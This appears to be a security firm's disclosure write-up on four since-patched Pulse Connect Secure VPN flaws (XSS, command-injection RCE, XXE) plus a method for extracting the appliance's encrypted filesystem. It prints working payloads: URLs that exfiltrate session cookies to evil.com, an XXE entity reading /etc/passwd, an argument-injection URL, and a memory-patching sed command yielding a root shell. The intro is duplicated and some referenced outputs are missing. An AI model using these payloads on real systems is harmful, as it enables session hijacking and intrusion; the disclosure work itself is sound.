A few weeks ago, we released a blogpost about an authenticated RCE we found in Pulse Connect Secure (CVE-2020-8218). In that post, we mentioned that we discovered more vulnerabilities. Four vulnerabilities were discovered on Pulse Secure Connect, a VPN (Virtual Private Network) software, leading up to an unauthenticated user being able to perform remote code execution (RCE). While the RCE itself requires to be authenticated with admin privilege, two
Cross-Site Scripting (XSS) attacks make it possible to force an admin to execute code on behalf of the attacker, effectively allowing remote code execution as an unauthenticated user. An XML External Entity (XXE) was also discovered for authenticated users, granting arbitrary file read on the remote filesystem. All the reported vulnerabilities have been fixed by Pulse Secure with the more severe CVE-2020-8216 previously fixed in July.
On top of the technical analysis of each vulnerability found, we will also go into more detail about how we managed to extract the source code from the encrypted appliance filesystem.
A few weeks ago, we released a blogpost about an authenticated RCE we found in Pulse Connect Secure (CVE-2020-8218). In that post, we mentioned that we discovered more vulnerabilities. Four vulnerabilities were discovered on Pulse Secure Connect, a VPN (Virtual Private Network) software, leading up to an unauthenticated user being able to perform remote code execution (RCE). While the RCE itself requires to be authenticated with admin privilege, two Cross-Site Scripting (XSS) attacks make it possible to force an admin to execute code on behalf of the attacker, effectively allowing remote code execution as an unauthenticated user. An XML External Entity (XXE) was also discovered for authenticated users, granting arbitrary file read on the remote filesystem. All the reported vulnerabilities have been fixed by Pulse Secure with the more severe CVE-2020-8216 previously fixed in July.
On top of the technical analysis of each vulnerability found, we will also go into more detail about how we managed to extract the source code from the encrypted appliance filesystem.
1. XSS in launch.cgi – CVE-2020-8238
The initial XSS we found was reflected from the URL parameter on the launch.cgi endpoint when building the HTTP response content. The code responsible for the vulnerability is shown here:
<script>window.open("$url");</script>
While the exploit itself was straightforward enough, reaching that section of the code was not due to the fact that our payload needed to satisfy some conditions. What we found, through trial and error at first, is that a “:” character needed to be present in the URL parameter for it to be directly reflected on the page. With access to the source code, we identified the code responsible for that condition as this line:
if (DSResourceProfile::ProfileManager::checkWebBookmark($url, 0) == 1) { … }
This code assumes that a “:” present in the URL parameter means that we clicked on a bookmark and will try to redirect to it by including the payload in the server-generated JavaScript snippet shown above. Knowing this, a malicious user can send a specially crafted link to steal the session cookie of an authenticated user. In our attack scenario, we used the following link to demonstrate the vulnerability:
https://x.x.x.x/dana/home/launch.cgi?url=%3A%22%29%3Bdocument.location%3D%22http%3A%2F%2Fevil.com%2F%3F%22%2Bdocument.cookie%3Ba%28%22
The payload, once URL decoded, is:
:");document.location="http://evil.com/?"+document.cookie;a("
When the targeted user clicks the malicious URL, the CGI script replaces $url with the payload, generating JavaScript code that redirects the browser to http://evil.com with the value of its cookie in parameters:
2. RCE in the Admin Dashboard – CVE-2020-8218
Following the XSS, the next exploit we discovered was a command injection in the downloadlicenses.cgi file of the admin portal. The vulnerability can be found in the following code, where $authCode is a user-controlled variable:
my $cmd;
if (DSLicense::isVLSImage() || DSLicense::isLicsFromPcls() || DSLicense::isEnabled($DSLicense::FT_mssp_core)) {
$cmd = $ENV{'DSINSTALL'} . "/bin/dslicdownload -i -e /tmp/.download_err -o /dev/NULL -a $authCode";
// ...
}
// ...
my $ret = system($cmd);
It is important to note that the vulnerability is quite a bit harder to exploit than it first appears, as Pulse Secure has hardened the system function call to prevent execution of arbitrary payloads. We covered how we managed to bypass this in great detail in a previous blogpost.
3. XXE in the Admin Dashboard – CVE-2020-8256
Pulse Secure offers the option for administrators to add their own template for teleconference bridge profiles. The template format is in XML and the functionality happens to be vulnerable to XML external entity injection (XXE). The dashboard conveniently offers a template example that we can download to use as the base of our own malicious template:
- line 31: <!DOCTYPE jnpr:configuration [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
- line 35: &xxe;
The resulting template should look something like this:
4. XSS through command injection in downloadlicenses.cgi
https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd=download&txtVLSAuthCode=whatever%20-n%20aaaa%20-n%20%27%3Ch1%3EBBB%3C/h1%3E%27
The same payload decoded:
https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd= download&txtVLSAuthCode=whatever -n aaaa -n '<h1>BBB</h1>'
And the result:
https://x.x.x.x/dana-admin/license/downloadlicenses.cgi?cmd=download&txtVLSAuthCode=whatever -n aaaa -n '<script> document.location="http://evil.com/?"+document.cookie;</script>'
Getting the source code
When we discovered a Pulse Secure SSL VPN during an engagement, we first attempted to find vulnerabilities without having access to the source code of the appliance. We found an XSS that was hard to exploit from an external point of view only. This gave us motivation to solve issues with the exploitation of this vulnerability. It also gave us an opportunity to look for additional vulnerabilities.
We started working on extracting the source code from the encrypted filesystem of the appliance. Orange Tsai and Meh Chang gave a great talk at Black Hat USA 2019 in which they explained how to achieve this, but as far as we know the exact steps have not been documented anywhere else in a clear fashion, so we decided to use this blogpost as an opportunity to do just that.
In summary, the approach is to replace /home/bin/dsconfig.pl with ///////////////bin/sh in the appliance memory right after booting the appliance. This would force the operating system to spawn an interactive shell instead of running the expected bootstrap script. To do so, we paused the virtual machine in VMware before it started the Pulse Secure console, then ran the command sed -i 's|/home/bin/dsconfig.pl|///////////////bin/sh|g' on the virtual memory file (.vmem extension). After we resumed the virtual machine to allow it to continue its boot sequence, we ended up with a root shell as well as an unencrypted filesystem mounted instead of the usual appliance console.
With the source code in our hands, it became much easier to discover the previous vulnerabilities as well as understanding the XSS that we had previously found.
Conclusion
While it took more than 3 months from disclosure and some disagreements with HackerOne, we are happy to report that all vulnerabilities presented have been fixed. From a technical point of view, none of the attacks discussed are difficult to weaponize and thus, we recommend you patch your Pulse Secure VPN to the latest version as soon as possible to avoid being the victim of a malicious actor. Even though we would have hoped for a quicker patch, we are glad that our findings could contribute to strengthening the security of such an essential tool for many users.
Researchers
- Maxime Nadeau
- Romain Carnus
- Simon Nolet
- Jean-Frédéric Gauron
- Temuujin Darkhantsetseg
- Julien Pineault